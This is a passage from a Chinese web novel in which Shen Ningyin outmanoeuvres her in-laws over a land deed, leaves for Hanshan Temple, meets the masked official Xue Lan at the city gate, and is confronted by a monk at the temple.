想了想，沈宁音脑海里闪过了什么，前世的片段一闪而逝，她努力想要抓住，却怎么了想不起来。
终归是囿于内宅，前世的昌平侯府实在太远。沈宁音叹了口气，拉了拉袖子：“不打紧，今儿我就是要去讨说法的。兰心居就算是塌了，也别想让我退让半分。”
松鹤堂，一片愁云惨雾。
明间的罗汉床上，老夫人捏着佛珠，佛珠一下又一下拨弄着，可她的眉头却怎么都舒展不开来。
闵氏打破了沉寂：“老太君，一个亲戚家的孩子生病而已，哪里值当您上心。”
老夫人的眉头皱得更紧了，她看着闵氏，叹了口气，不悦道：“我只是可怜他小小年纪就没了庇佑。倒是你——”
“大清早过来请安，却哭起穷来，是何道理？”
闵氏脸都白了，连忙走到老夫人跟前：“婆母，您就把我那地契还来吧。宁音若要，我赔她些别的。多赔个铺子也成。”
若换了平时，老夫人兴许也就顺着她的话头讲下去了，可这会儿，她心情烦躁。
一边是秦齐，另一边是盼着有嫡孙的念想。
闵氏还要再说，门外就传来了说话声。
院外，沈宁音刚踏进院子，就感觉到有人在看着自己，她下意识回头，正瞧见路的尽头出现的秦耀阳。
四目相对，沈宁音平静坦荡，秦耀阳立刻避开了目光。
见他不动，沈宁音举步就往里走。
很快身后脚步声起，男人的手扶住了她的胳膊，语气没了昨日的凶狠，软得不像话：“宁音，我听说你的腿伤着了，怎么不叫人喊个软轿。”
沈宁音没说话，也没甩开他的手，秦耀阳语气更低了：“慢点，我扶着你。”
她就这么被男人扶到了堂屋门口。
“宁音，你是不是在生气？”秦耀阳停下脚步，轻声问，又懊恼道：“我昨儿不是故意的。”
“大嫂那边出了事，我一时心急，才……”
沈宁音听着他说得顿住，这才抽回手，脸上是淡然寻常的笑意：“世子，我没有生气。”
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“当真？”秦耀阳脸上露出个松了口气的惊喜神情，男人握紧她的手，眼里流露出感动来：“我就知道，宁音你不是那种小肚鸡肠的人。”
沈宁音眼底有几分讥诮，但她掩饰得极好。
秦耀阳这样被宠坏的人，只会觉着所有的错处都会被轻易原谅，你若是承认气着了，他反倒觉得是你的错。
昨天以后，沈宁音便想通了。一想通，便也不在乎。
她这样表情淡定，甚至对男人露出个温婉疏离的笑来。一旁的染竹与兰香却是替她气红了眼。
“宁音，我今晚一定去你那。”秦耀阳握着拳，语气坚决表决心。
沈宁音不在乎了，甚至觉着厌烦又好笑。
“再说吧。”她淡声讲完这句，撇下秦耀阳往里头走。
沈宁音的腿不是不疼了，昨天那么严重其实是做给旁人看的，她也料定老夫人就算看出来，也不可能落自己面子。今天走起来依旧是疼，但她发现，心一旦硬起来，旁的疼也不过如此了。
屋子里早有人禀告进去。秦耀阳也连忙前后脚跟了进来。
两人一起出现，闵氏与老夫人也是惊讶的。
沈宁音行了礼，立马被扶到了椅子上。她刚落座，老夫人就“狠狠”数落了一番秦耀阳。
左不过就是些诸如嫂子病了自有郎中，又解释说多年的情分，秦耀阳只把周婉当亲姐姐。
老夫人的这些话，沈宁音想，连她自己都不信。
这是打量着已经进门的媳妇只能捏着鼻子认下。
沈宁音坐在椅子上，不动如山。由着老夫人数落孙子，就是不接话。
闵氏想发作，可一看沈宁音低垂着眸光，脸上毫无血色，又想着如今昌平侯真救回来，自个儿桃花庄的地契也还在婆母手里握着，只盼着沈宁音顾着脸面别提这事儿。
闵氏忍得表情都有些扭曲，但现场没人看她。
老夫人终于停了口，朝着沈宁音招招手：“宁音，你过来。”
沈宁音立马抬起脸，走到老夫人身边儿。
老夫人拉着她的手，用两个人才能听见的声音小声劝：“宁音，人生便如此，男人有些个不好，终归还是你抓得不稳，新婚夫妇，哪有隔夜的记恨？我已经替你说他了。今天晚上，定没有人去扰祁秀院了。”
沈宁音心里有些不舒服。
老夫人的话状似劝说，却也有怪她没能抓着自个儿男人心的意思在。
原本打算要些好处就罢的，可这会儿沈宁音却是不想就这样算了。
沈宁音抬起脸来，笑着道：“祖母，是我太小性儿了，我爹爹与母亲从小教养我，侍郎府里头，我学规矩学得最好，如今却是忍不下来，也暗自在心里与夫君置气呢。”
“孙媳十分惭愧。”她压低眉间，目光垂到脚尖。
老夫人心里熨帖，觉着自个儿敲打得刚刚好，正想再安抚两句。
沈宁音却是抬脸来，目光坚定地道：“孙媳自认为修养不够，愧对家父教导，愿自罚去寒山寺念经抄经七日。”
24. 走吧
“什么！”老夫人和缓的神色重新变得阴沉，苍老的声音里带着点急促：“你还在置气？”
她说完这句便咳嗽了起来，沈宁音举步上前，熟练地替老夫人拍背。
沈宁音手法好，甚至比起旁边儿的方嬷嬷还得用，可她说出来的话却叫老夫人心里失望。
沈宁音低垂着眉目：“宁音不敢。”
不是没有，而是不敢，她还是有怨气的。
闵氏一把推开了沈宁音，一面给老夫人顺气一面拿眼睛剜她：“你看你！一来就气着老太君。”
闵氏没听见方才老夫人的话，只当沈宁音犯了错处。
沈宁音手扶着桌案撑稳了身子，眼瞳不见任何慌乱。
秦耀阳愣在原地，只一双眼睛定在沈宁音身上。
老夫人终于不再咳嗽，闵氏添油加醋：“婆母，她既然想去佛寺里头抄经收性，那就让她去。”
上京繁华，闵氏出身武将家族，只觉着似沈宁音那样娇生惯养的贵女小姐们自是吃不得清苦的。
“母亲！”秦耀阳皱眉。
闵氏一看独子的反应，更来气。在闵氏眼里，自家儿子刚因着那丧门星吃了一顿挂落，这会子竟又护上了。
刚想说儿子两句，闵氏身边的老夫人已经开了金口：“好了。”
老夫人方才咳了好一会儿，原本略嫌苍白的脸上有了些红意，哑着生气儿道：“宁音。”
沈宁音并不怠慢，姿态放得恭敬又谦卑，上前扶住了老夫人的手。
老夫人低头看着她手上缠着的布条：“祖母知你受委屈。”抬头道：“这次过来，可有什么想要的？”
如今天刚亮，松鹤堂又不该她来立规矩，沈宁音这会儿过来定然是无事不登三宝殿的。
沈宁音抬眸，嘴角是恰到好处的温婉笑容，语气也很柔和：“祖母，宁音只会要自个儿应得的。”
她并没有遮遮掩掩地谦逊，甚至有些不客气。
老夫人露出个笑来：“你放心，该你的一分都不会少。祖母都给你备着。”
老夫人吩咐方嬷嬷去里屋拿东西时，闵氏只觉得整个人都不好了，尽管在心里祈祷千万别是那方地契，可当方嬷嬷把匣子打开时，闵氏的眼都红了。
“这个不上算！”闵氏要冲过去抢回来，立马有仆婢过去拉着她。她眼睛里几乎浮上了血丝。
沈宁音没客气，直接将东西插在了袖子里。这是她应得的。
“闹什么闹，这事儿是你自个儿应下的，出尔反尔，哪有个长辈的样子。”老夫人脸上带着愠怒。原本对闵氏的瞧不上又添了几分不喜：“难得宁音喜欢，不就是一个庄子而已，我回头贴一座田庄给你就是。”
闵氏怄得想吐血，那桃花庄子的价值还有里头的心血哪里是一座田庄能比的？
沈宁音嘴角带着淡然又凉薄的笑意，她就是吃定了闵氏不敢出口。闵家不是什么高门大户，在军中也还要仰赖昌平侯的庇护，她家有几个钱，闵氏又有几个陪嫁一查就能清楚。
可但凡查，闵氏可就不是小家子气这等事儿了，那是挪用侯府公中的钱财，而且数目是老夫人、昌平侯绝不能容她的地步。
闵氏死死盯着沈宁音的袖子，一旁看着的秦耀阳也觉得跌份。
沈宁音没分眼神给闵氏，因着老夫人又拿出来一本册子交到她手里：“这个是东市几个铺子的流水与收支。”
老夫人语重心长，一副关怀备至的模样：“商贾之道是末流，但你将来是要做主母的人，点算账目须得能操持才是。今天起，你就稍稍照看着。”
沈宁音拿着账册一时没说话，仿若愣在当场般，老夫人以为她是怕管理不好，便笑着拍了拍她的手背：“你放心，铺子都是我挑选过的，收益极稳，掌事的也是府里用老的人，你能省不少心。”
沈宁音长睫倾覆，睫毛下的眼睛乌沉沉的，眼底却没有半分轻松或感激。
她飞快地翻了翻，看似一个什么都不懂的外行在摆弄账册，可实际上，沈宁音只要看那其中一两页，她便能知晓个大概。
这些铺子赚钱不假，黄金地段，又有大量的老主顾，若放在平时，这是肥差。老夫人既然把铺子给了，那便是允了她自己截流一部分做打赏的。
可今时不同往日，昌平侯被圣上罚了俸禄、又抄了库房，这公中的铺子再如何赚钱，那也是泥牛入海、是要填口子的。
沈宁音落不到多少银子。
就算退一万步讲，她不要钱，只经营人脉，打通关窍，可这铺子只不过是侯府中馈的一部分，掌柜的都是人精，既然是昌平侯府用老的人，自然知道谁才是真正掌权的主子。
沈宁音做得再好，也赶不上闵氏，更赶不上老夫人。
这不是她想要的。
沈宁音抿着唇的时候，眼角余光瞥见闵氏的眼睛里都要冒出火来了，一脸的不甘与嫉妒。
沈宁音不是闵氏，眼皮子没那么浅。于是，就在老夫人期许地看着她、等她领了差使感动之际，只等来了沈宁音微笑着将账册推了回去。
“宁音不敢收。”
老夫人难得愣了一刹。很快，她像是明白过来，开口提醒：“这几间铺子可是咱们侯府最赚钱的产业，你婆母找我讨了好几年也没给她。你是个好孩子，祖母看好你，你也不必挂怀你婆母那儿，有祖母在，你尽可以安心收着。”
老夫人生怕她一个初出茅庐的新妇瞧不出这铺子的好，也以为她是怕了闵氏。
又是撑腰，又是把要紧的肥差交给你，甚至还默许你留些银子花用……这样的手段谁人能不念着点好。
只怕前世的沈弦思，哪怕是前世的自己被这般对待，也只会觉得老夫人一心向着自己，该感激涕零地收下账册了吧。
“祖母，宁音才疏学浅，委实担当不起。”沈宁音拒绝得彻底。
她这一拒绝，把个闵氏与老夫人都整无语了。
闵氏是不理解，而老夫人则直接冷了脸：“你当真是不肯下这台阶？”
“还是要闹着去抄经？”
老夫人此刻的脸色很难看，把素日里不管不顾拎
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不清的闵氏都吓到了。
沈宁音低头：“这是宁音该做的。”
她的不低头、不服软把旁边看着的秦耀阳都吓到了。
男人这回的反应倒是快了些，慌忙走过去拉着妻子的手腕：“宁音，祖母对你这般好，你还不快点接了账册谢谢祖母？”
沈宁音挣脱了他的手，径直跪了下去。
疼，很疼。
之前不觉着，如今再跪，怕是要肿了。但此刻的苦肉计，才方到巅峰。
沈宁音抬起头时，疼出来的眼泪模糊了视线：“还请祖母成全。”
老夫人心里有气。气她管不住丈夫，更气她违逆自己：“好好好，你既然想去，那便去吧！”
“多谢祖母。”沈宁音撑着身子，起不来，秦耀阳连忙去拉着她。
“祖母……”眼瞧着沈宁音一瘸一拐地往门外走，秦耀阳想跟上去，却听着身后闵氏的声音：“不许去！”
秦耀阳不听，还没走两步，老夫人道：“昭儿！”
秦耀阳不得不停下来，脸上犹豫不决，最后也是眼睁睁看着沈宁音从屏风后消失。
“不许人接济寒山寺，我倒要看她能倔强几日。”
老夫人的命令，沈宁音走得远，却刚好听到点儿声。
她嘴角微弯。
祁秀院里，秦耀阳没过来。下人们一片愁云惨雾。
兰香、染竹，并几个小丫鬟收拾了一箱子用品。所有人都担忧又沉默着。
唯独沈宁音坐在窗前的光亮里，岁月静好地喝茶。
东西收拾妥当也一时没人说话，好半晌，还是沈宁音搁了茶盏，抬眸：“准备好了？”
“……”染竹和兰香对视一眼，最后还是兰香被推出来说话。
“少夫人，真要去寒山寺啊？那儿又苦又多虫蚁……”
两个丫鬟早就听说了，昌平侯府不会打点寺庙。
寺庙这种地方，其实也是要看身份的，穷苦人家住破院子，那些个经常捐香油又或者身份高贵的人，吃的住的却完全不一样。
莫说昌平侯府，就算是沈宁音的娘家侍郎府，那也是有常住的厢房的。
沈宁音此去，算是没了身份，只能靠着她自个儿的人脉。
可她一个闺阁女，与外界没什么联系，又哪里有自个儿的身份人脉？
在家从父，出嫁从夫，老夫人就是想叫她知难而退，叫她后悔。
“我知道。”沈宁音眼神没什么波澜，依旧是淡淡的。
染竹和兰香也不好说什么。
兰香眼圈有些发红：“世子爷也真是的……这样对少夫人，今儿老夫人那儿，他也没拦着些。明知道少夫人只是气话。”
沈宁音自然不是气话，但她就是要旁人都能瞧出自个儿是气的。
只有这样，当侯府的人来求着她回时，她才能有更多的本钱，能要更多的权利。
左右都得罪了薛岚，也得罪了他背后的薛岩，沈宁音没有了退路，只能抓紧眼前的一切机会。
“走吧。”
25. 送
沈宁音在门口上了马车。刚走，松鹤堂内就有婆子前来禀告。
步步锦牖窗微开，里头传来咳嗽声。老夫人喝了药，脸色也没和缓下来。
“她还真敢如此。”老夫人捶着心口：“还真把这儿当侍郎府了不成！”
一旁的丫鬟仆妇都低头看着脚尖，生怕惹着注意遭迁怒。
沈宁音非但打点了东西避去寒山寺，而且还正大光明给娘家去了封信。
信的内容不得而知，但恰恰是这不得而知，更叫人无端揣测。
昌平侯这等公侯世家，与言官清流并不是一路，可侍郎府不同。
现如今昌平侯刚挨了罚，而在外界眼中圣人却罕见地给了沈侍郎体面，纳了谏言放昌平侯。侍郎府对侯府是有恩的。
此种情况下，沈宁音避去佛寺，非但不会为人诟病，侯府反倒会被人戳脊梁骨忘恩负义。
毕竟新婚才几日，新妇就上佛寺去，那得是多大的委屈，才能闹出去叫人知道呢？
老夫人生闷气。
方嬷嬷小心翼翼道：“老太君，要不然……遣个人把少夫人追回来？”
老夫人握紧了佛珠，沉默半晌，老辣阴沉的眼瞳一瞥：“闹都闹出去了，现在追回来，平白叫人笑话去？”
方嬷嬷不说话了。
老夫人主持中馈多年，很快镇定下来，吩咐人带份礼上侍郎府拜访，沈侍郎此人惯会端架子，可软起来比什么都容易。只要给足了面子，这等小事他未必会依出嫁女，甚至还可能反过来帮忙劝回。
可叫她更窝火的，是礼单问题。下人们琢磨半天也没琢磨出个合适的。
侯府已经没钱了，御林军这一番抄家，是把府库掏空了去，连提出来做摆件的宝贝都搜刮干净了。眼瞧着各府众人的秋衣都得凑上一凑，更别提用料颇多的冬裳了。
老夫人盯着凑出来的礼单，连她自个儿也觉拿不出手，扶着额有些发晕。
众人连忙拍背的拍背，喂水的喂水，好一会儿老夫人才幽幽睁眼：“去，去寒山寺提前安排一下。莫叫她好过。”
既然侍郎府这路走不通，老夫人便非得在开宗祠之前把个沈宁音逼回来不可。
上京城下了两天的雨，风吹的时候已有点凉意。
沈宁音手里把着红漆手炉，闭着眼睛小憩。车轮转动，辚辚不绝，混杂着市井的噪声，也委实叫人犯困。
她迷迷糊糊就要睡着，冷不丁车子一停，惯性之下，她连忙抓着车窗。
万幸的是马车本身走得极慢，倒也没有大碍，只不过沈宁音再想睡觉却也睡不着了。
不等她询问，外头的兰香已经靠着窗帘回禀：“少夫人，城门口戒严。”
沈宁音眉心蹙起，上京城乃天子脚下，她便是前世跟着冷元景进京也没碰着几回戒严的。
她半掀车帘看了出去，果然见城门排起了长龙。又叫兰香往前去瞧了瞧，兰香回来一说，沈宁音的眉头蹙得更紧了。
上京城若要戒严，必定是极重的事情，尤其沈宁音还听兰香说着，无论达官贵人，每个都要接受搜查。
兰香忧心忡忡：“少夫人，奴婢方才看见就连闺阁女眷的马车都给强行搜检了的。”
沈宁音摸了摸手炉，心里思索万千，声音却平淡，叫人心安：“不妨事。”
转眸看向兰香：“门口行事的将军是谁？”
沈宁音想着，昌平侯府在军中有影响，只要不是御林军，应该也不存在被针对之事。
“啊！”兰香捂着唇低呼一声：“是他！”
沈宁音听着兰香的声音一怔。兰香巴着窗框道：“那个戴面具的薛大人！”
便是碰到御林军沈宁音也不带皱眉的，可巧偏偏是他。
她手指抠紧了红漆手炉，温热绯红的手炉叫她想起了那日男人胳膊上的血。
若非秦耀阳与那两个皇城司的差役闯进来，若非薛岚没有一开始就要取自己性命，沈宁音知道，那天自己应该是凶多吉少的。
薛岚真动了杀心。
他走之前，森冷的杀意几乎要透体而出。
沈宁音现在想起来都觉得心脏难以平复。
皇城司监察百官，暗杀、逼供，在上京城风评极差，叫人听着都怕的程度。沈宁音怎么了想不通为何自己出个城，都要遇着。
薛岚站在城门口，手撑着刀柄，一双天生凶戾的眼眸打量着一个一个受查的人、车。
一旁协佐的胥吏没有一个不汗流浃背的。
那些个从来高贵嚣张颐指气使的官宦们、后宅贵女们，见着皇城司、见着他，全都大气都不敢出。
偶有几个不长眼的，也都是这位爷亲自动手，没一个能善了的。
薛岚是新任皇城司的公事大人，整个皇城司，一共设有十位勾当皇城司公事。而他，是第十一个。背景硬得要命。
那可是在还只是副使时就能在侯府硬刚杀人的狠人，想来这会儿头铁的贵人们午夜梦回都能后怕出一头冷汗。
“停住。”
胥吏们正想着，就听到了皇城司属吏一声呵斥。几人转头一瞧，被拦下来的，正好是驾侯爵府的马车。
这马车十分朴实，唯独车上挂了盏象征侯府的灯笼，灯笼上绣着个秦字。
上京城权贵多，但胥吏们其实并不知道这都谁是谁，他们只认象征身份的宫灯。
马车再旧、再朴实，只要挂了灯笼，那就错不了，因为僭越的话，是要掉脑袋的。
“下车，要搜。”皇城司属吏道。
里头一时没动静，车外跟着几个丫鬟，显然应该是后宅女眷。那胥吏们一瞥，戴面具的那位冷面大人已经往车子看了过去，众人都知，这马车里头的主子要倒霉，那酷吏可不是个怜香惜玉的，若有违拗是直接上去把人拉下来的。
莫说胥吏，便是四周都围拢过来不少人，大家平日里哪里见过那些个高官后宅里头的娘子夫人们，若是能见着她们吃瘪，那是喜闻乐见的，最好能像先前给拖下来的夫人姑娘一般哭上几声，便是瞧不见人，能听着声儿也强啊！
薛岚从靠着的
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门墙站直了身子，大步流星往马车走去。
大家见了，更兴奋了，都抻长了脖子想看热闹。
几个丫鬟一慌，连忙上前拦着：“你大胆！”
“让。”薛岚话不多，他此刻已不似从前，从前他只戴着半片又轻又薄的面具，那时就已经浑身冷酷自带杀气了。
而如今，他脸上是一张冰冷的金属面具，面具雕刻得复杂，虽比以前贵气些许，可那冰冷的气质加上他凶戾的眼神与无法揣度的神色，将他整个人都衬托得好似一个深不可测的冰冷黑洞，一股子活人勿进的可怕气场。
染竹与兰香哪里见过这样的人，被男人的眸光一扫，顿时鸡皮疙瘩从衣料下面颗颗冒出，浑身冷得彻底。
丫鬟们一时反应不过来。都站在原地打哆嗦。
薛岚带着杀气的目光落在她们的脸上，攥紧了手掌准备动手。
当是时，车门突然就掀了开来。沈宁音原本柔婉的声音越发温和：“大人息怒。”
众人都是一愣，统统都看向了说话之人。
沈宁音嘴角含着笑：“薛大人，妾身管教不力，叫您见笑了。”她挥一挥手，染竹与兰香都松了口气，像是无根的飘萍终于抓着了实地。
仆从们一下子都反应过来，连忙都去驱散四周围观的人。
沈宁音不是闺阁小姐，虽然也戴了面纱，但堂堂少夫人让百姓围着也确实不成体统。
薛岩冷冷看着沈宁音戴着面纱的脸，他没喊搜，旁边儿人也不敢动。
“马车就在那儿，请搜吧。”沈宁音从来笑意不达眼底，这次也一样，不过她却是往前迈了一步：“薛大人可否借一步说话。”
胥吏都愣了一下，皆觉着惊奇，那可是薛岚，皇城司第十一位掌事人。
她非但抢了人家的吩咐，还敢惹他，真真是不知死活。
但这些事情，轻易也无人敢管，皇城司可不是好打听的，知道的多了不会有好处只会死得快。
众人埋着头的埋着头，搜车的搜车。
沈宁音站到城门边儿，有胥吏和仆婢们挡着，倒也形成了一处说话的空间。
薛岚虽没言语，但也是走上前去，只拿眼神示意她讲话。
“大人，上次的事是个误会，妾身不是故意要刺伤你的。”
沈宁音先是表达了意思，见他没说话，便知道他没想过要和解。
于是道：“我想其他事情也是有什么误会在的，大人，您若不说，妾身觉着时间也能证明妾身的清白。”
沈宁音说完话，从怀里掏出一样东西，她将东西放到薛岚的手里：“这是疗伤圣药，您一定用得上。”
薛岚低头，看见一方帕子，帕子里鼓鼓囊囊的。
他打开看去，发现是个透明的罐子。
罐子没有打开都能闻着很浓郁的药香味。他是有见识的，知道她说的都是真的。
但他没接。
沈宁音ey不管他，直接放到他怀里。
“你拿着，若有别的事情下次再说好不好？”
26. 匿名
男人面具下的眼珠子泛着红，沈宁音隔得近了，连血丝都瞧得根根分明。
换做别家的小姐夫人，此刻没吓晕也早吓哭了，偏沈宁音脸上带着笑，非但不怕，连紧张都看不出半丝来。
正因这份镇定，薛岚犹疑了。他自问但凡做过了亏心事，就不该如此淡定的，可自己明明确定就是这狠毒女子做下的孽，偏偏她竟给人一种另有隐情的诡异感觉。
薛岚这一犹疑，便捏着药膏没来得及扔回去。
城门口车驾多，一辆马车哪里能检查得了多久？等他反应过来要拒绝时，沈宁音已经到了马车门口掀起了帘子。
他这会儿就算把东西砸在地上，对方怕也能当做不知。一时间，薛岚攥紧了手里的药，挺直的背脊都僵住了。
马车经过之际，车上飘散着一股子香风，竟与他往日里闻过的香粉脂腻皆有不同。
薛岚觉得舌尖有些痒意，他用力咬了一下，低头时便看见包着药罐的云锦帕子，帕子上绣着一枝绕了一半的花枝。没绣完，瞧不出品目来。
他忽然想起了那只簪子。
海棠么……不，不是海棠香。
薛岚脑海里浮现出绚烂夭灼的桃花来。有什么人笑得恣意，袅袅婷婷地唤他。
“大人。”
“大人？”
薛岚睁开眼睛，刚刚那一刻，脑袋里恍若针扎。眼前出现的，却是属吏的脸。
薛岚眼神有些复杂，只把药和帕子往怀里一抄。
属吏尴尬地笑。薛岚转眸看去，但见一驾华贵非常的马车停在那儿。
一个丫鬟叉着腰正骂守城的胥吏：“瞎了你们的狗眼！这可是五品游击将军闵大人的家眷！小小守门胥吏，咱们的车也敢拦？！”
薛岚眉头越蹙越紧，握着绣春刀就往马车去……
闵氏娘家侄女的马车被从城门口撵回去的时候，沈宁音的马车已经走远了。
一路过了很长一段密林，寒山寺约莫要走两个时辰。
路上，染竹欲言又止，神色担忧，忍不住小声道：“少夫人，女子绣帕落入外男手里，终归是个祸患。要不要派人去讨回来？”
染竹本以为不必提醒，可直到离开城门也没见自家主子吩咐。
沈宁音闭着眼睛没说话。
她从小就接受着严苛的规矩与训诫，别人家的嫡女，学女训女戒，学管账理家。沈宁音十岁之前学的都是做主母的章程。
可十二岁时，却被伪朝钦点为太子侧妃。这是天大的好亲事。
侧妃是妾，再尊贵的侧妃也是个妾。沈定山接到旨意时两眼放光，他一辈子都想等个一人之下万人之上的机会。自然更想叫未来的储君是从自家女儿肚子里爬出来。
沈宁音便开始了学琴，学舞，学书，学画，甚至投其所好学骑射。
她学了很多很多，样样都要做到最好。伤痕累累，无人关怀。
她以为只要自己做到了，母亲就会高兴，就会念着她的听话、她的好。
可是没有。
后来，她连未婚夫婿也没了。那一刻，沈宁音还没意识到，她再也不会有母亲了。
前世没有，今生没有，就连那一抔黄土埋着的女人，也不是她的母亲。
沈宁音沉默良久。
“不必了。”沈宁音低沉应声。
她收拾起不知所起的低落情绪，淡然道：“帕子我也没绣完，那料子京城贵胄家年年都能分着不少，便是流落出去也算不得什么实证。”
“还有，那位薛岚薛大人……”沈宁音顿了一下：“大约是个阉人。”
和个阉人能传出什么不得了的丑事去？
“可皇城司里的人也不是阉人吧？”染竹皱眉，还是很担心。
沈宁音笑了笑：“你大约不知，皇城司的属官除了精挑细选的好手，也有那些勋贵人家放进去荣职，这些都是正常男子。唯独勾当皇城司公事一职，往往都由紫禁城的内侍兼任。”
“薛岚能坐上那个位置，又非勋贵将门。就只可能是个阉人了。”
这些不成文的规定染竹哪里知晓？可她听沈宁音这样一说，便也松了口气。
官道平坦，行人不绝，沈宁音算算日子，今儿算是上香的热闹日子。她掀开一丝窗帘，但见人们或走或歇，络绎不绝。
越近寒山寺，路上茶社驿站反倒渐渐多了起来。
沈宁音前世来过几次，早就门儿清。
都说佛门清净，可上京城的寒山寺虽则几百年老寺，却早已被尘垢所染，沾足了铜臭。
沈宁音便吩咐停了车。
染竹掀开车帘：“少夫人，可是要饮热茶？”旁边儿就是个茶摊，售卖些茶水点心果脯简餐。
沈宁音闻着空气里散过来的茶香与果甜，只淡声吩咐：“把灯笼取了。”
“收起来？”染竹一惊。宫灯乃是身份，外出行走能得便利，这几乎算是个不成文的规矩了。
沈宁音点头：“是。”她大抵是知道下边人怎么想的，却也懒怠去过多解释，只道：“银钱开路也不会短了什么。”
沈宁音从荷包中抓了一把金瓜子：“你亲自去添香油钱，只提我夫家姓秦。”
一行人将马车寄放在山下的客栈便上了寒山寺。
与沈宁音前世所知并无不同，这寒山寺香火鼎盛还是有原因的，他们收了香油钱是真给方便。
给了她们一处单独的厢房。
沈宁音约莫打量了一番，比起侍郎府常用的那座是要偏些，但陈设很全，一尘不染。她没有不满意的。
而且她本就不是来这边儿看法会攒热闹的，僻静得正合她心意。
安顿下来后，沈宁音也不做旁的，竟当真安安稳稳开始抄经了。
她这里不慌，寒山寺慌了。
眼瞧着太阳马上就下山，天上云翳深重，是要落雨的样子。
而一旦下雨，正如寺庙的名字一般，山路是极其寒冷的，大秋天的，没个准备的话一多半要冷出病来。
昌平侯府几十年的积累，老夫人又信佛，所以往年朝寺里捐的银子很多，就算在上京也算是个大户了。
如今寒山寺的人得了人告诫，可抻长脖子也没等来侯府所说前来寄宿的
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少夫人，当下他们也急得满头大汗。
一面遣人去上京城禀告，一面往路上去接。
可上京城戒严，皇城司搜查又要耽误点时间，夜路难行又要耽误点时间。
一来二去，果然下雨。雨中不能举火把……
办事儿的僧人抓耳挠腮时，沈宁音倒是躺在柔软的锦被里睡得舒服。
冷雨下了一夜，憋着坏的办事儿僧人就淋着雨找了一夜。
不能叫她好过，却又怕了她出事，简直折磨。
沈宁音伸了个懒腰，转眸看向窗外，此刻天光放晴，连空气里都散发着清新的泥土芬芳。
染竹与兰心伺候着她洗漱，温度刚好的水，寺庙里专供的银丝炭烧在手炉里暖烘烘的，带着木炭特有的厚重气息。她摸了摸鬓角，心情极好。
“少夫人，今儿抄后面的么？”染竹细心地将宣旨抚平铺开，将镇纸压好，又提着上好的墨块研磨着。
不料沈宁音却是嘴角带笑：“先把东西都放下吧。咱们去拜会一下寺里的大师。”
沈宁音是侯府的女眷，她不是只住那么一两天，人长了嘴巴，是拿来说话，问来问去总能问到她去。沈宁音也没想能在寒山寺瞒着。
她过去拜会的时候，正看着几个僧人满脸惨白，眼下乌青，相携着走过来。
那些人看见沈宁音都是一愣。
庙里僧人信众起得早，便是那些个贵人女眷，为了彰显自个儿的诚心，也都是天没亮就会起来修身养性或参禅早课，而山下远着的人过来又不会像沈宁音这般神清气爽的。
这个点儿合该在饭堂用斋饭才是。
沈宁音又戴着面纱，露出的眉眼端庄柔婉，将一骨子媚劲儿压得竟化作几分目善眉慈来。
“小师父们好。”微微行礼，一副知礼守节的模样，在她的后面，金身端坐着的，是慈眉善目的菩萨，恰一看过去，竟然有种宝相庄严的错觉。
那累了一夜歪站着的僧人们当即都是虎躯一震，连忙站直了身子合掌还礼：“女施主有礼了。”
一僧人扯出个笑：“女施主可是来找方丈？”
沈宁音声音温和，带着几分软：“不是的。”
寒山寺经历了几百年，总有了一套自己的规矩模式，但有通俗务，保着大家吃饭的，也有那些一心向佛，心境不染的。
“我找心正禅师。”
“心正禅师？”僧人的笑容有一瞬间的凝滞，看向沈宁音的目光审视中带着点诧异。
寒山寺这么多年，禅师们总会开坛辩经，又或是讲佛法，那么多禅师里面，只有心正禅师几乎从不对信众宣讲。
这样一来，哪怕他德高望重，在上京城的知名度却很低，一般人来找，都不可能找他，甚至没几个人知道他的……
“是。”沈宁音笑容温婉：“请问心正禅师可在？”
僧人面面相觑，一人肃穆了脸色，确认地问：“施主当真找的是心正禅师？”
见沈宁音不说话，他提步一瘸一拐就往里头小跑：“在的，在的！”
留下几个僧人都好奇地打量着沈宁音。
27. 道德
进里头请人的还没出来，外头就又来了几个人。
一个和尚领头，抬了个人迈进来，众人的腿上都裹着泥点子，没头发的，衣裳半干不干，裤腿上在滴水，有头发的，一缕缕头发粘在脸上，表情与模样一般狼狈。
沈宁音没搭理，往旁边稍了几步。
那几个小和尚好奇地抻脖子看架子上的人，关心询问：“师叔，他怎么了？”
沈宁音见那师叔瞪他们，殿内的和尚得了数落，七手八脚上前帮忙。
“少夫人？！”突然，人群中有人哑着嗓子哀嚎。
沈宁音转眸看过去，心下乐了。
和尚们后头跟着好几个侯府的家丁，那泥泞的担架上抬着的，正是侯府外院的管事。
昨儿怕是都不好过。
家丁们见着沈宁音个顶个像是见着了亲奶奶，受不住的已经哭出来，受得住的也红了眼眶。
沈宁音倒也不意外，谁冒着雨找了一整夜的人，见着那人突然出现也会绷不住。但要怪也只能怪他们主子要算计人。
“这是怎么了？”沈宁音捏着帕子，露在外头的一对水眸微微瞠大，是惊讶的样子。
“怎么了？你昨儿失踪，叫侯府与咱们好找！”空行眼睛里都快要喷火了，说话时几乎咬牙切齿。
沈宁音扫了他一眼，语调是挑不出错的礼貌：“是我的错。从前都与母亲过来，今儿倒是头一遭自个儿来，疏漏了规矩，就把马车留在山脚下了。”
“你……”空行瞪着她，心里一骨子邪火！指着地上躺着的中年管事，怒道：“贫僧还是头一次见你这般恶毒的施主！对下人漠不关心，害大家找了一夜，连句关切都没有！”
“你知不知道你一句认错的背后，是所有人为了你不吃不喝不睡一整夜，如今，还有人滚下坡受伤正昏迷不醒！”
“施主是觉得这些事小？！”他拉高架子上中年人的袖子，但见皮肤上是各种各样荆棘的划伤和皮肉擦伤。
破了皮子，红杏杏的，看起来很吓人，但沈宁音知道，都只是皮肉伤。
“你这种做主子的！简直不拿下人的人命当成命！”
这句话空行几乎是吼出来的。
和尚义愤填膺，一脸凛然，他往日里只要觉着自己占着大义，那便是毫无顾忌地教训旁人，无妨小沙弥又或是普通信众。
这些人无不面带忏悔，又是祈求宽恕又是捐钱消灾。可沈宁音不是普通人，她听完之后就不说话了。
空行更气了。
这时，有人从外头走进来：“说得好！”
沈宁音看了过去，这人皮肤白嫩，唇红齿白，没戴面纱，却穿着一身男子直裰。纤腰不盈一握，一双猫眼儿般的妙目愤愤盯着自己：“你们这些古……上京人，简直不可理喻！”
扮作男子的女人捏着折扇指点着：“下人也是人！你这般行径令人发指！是要草菅人命么？！还不拿银子给人延医问药！！”
寺庙里头是能帮人瞧病的，但免费那是给穷苦人的，侯府家大业大，即便寺庙给免，为着名声脸面也是要给的，而且得加倍给。
这莫名其妙的女子冒了头，空行站在她身后，抄着手冷笑看沈宁音，只等着沈宁音低头、等着她为着脸面名声掏几倍的香油钱息事宁人。
